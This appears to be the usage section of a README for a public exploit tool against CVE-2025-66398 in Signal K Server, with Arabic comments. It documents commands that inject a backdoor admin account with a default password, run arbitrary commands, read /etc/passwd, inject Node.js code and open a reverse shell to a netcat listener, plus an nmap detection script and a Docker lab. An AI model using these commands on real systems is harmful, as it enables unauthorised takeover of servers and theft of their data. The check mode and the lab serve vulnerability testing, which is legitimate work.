git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

go install github.com/joshuavanderpoll/cve-2025-66398@latest

go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

python3 cve-2025-66398.py -h
# أو إصدار GoLang
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE

options:
  -h, --help            show this help message and exit
  -target URL           Base URL of the Signal K server
  -useragent UA         User-Agent header for all HTTP requests
  -timeout SEC          Request timeout in seconds (default: 10)
  -target-os OS         Target server OS for payload/path adaptation: linux (default) or windows
  -signalk-dir DIR      Override the Signal K data directory on the target (default: OS-dependent)
  -check                Test if the target is vulnerable without exploiting it
  -admin-user USER      Admin username for Phase 2 restore
  -admin-pass PASS      Admin password for Phase 2 restore
  -backdoor-user USER   Backdoor username to inject (default: backdoor)
  -backdoor-pass PASS   Backdoor password to inject (default: H4CK1nd3x!)
  -command CMD          Execute a command on the server (non-interactive)
  -read-file PATH       Read a remote file via RCE
  -write-file CONTENT PATH
                        Write CONTENT to PATH on the server via RCE
  -code CODE            Inject raw Node.js code as the security module
  -shell                Deploy a reverse shell (requires -lhost and -lport)
  -lhost HOST           Listener host for reverse shell
  -lport PORT           Listener port for reverse shell

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -check

# ضد منفذ Signal K معروف
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>

# التثبيت على مستوى النظام والتشغيل دون مسار
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>

PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

python3 cve-2025-66398.py -target http://127.0.0.1:3000
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

nc -lvnp 4444

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360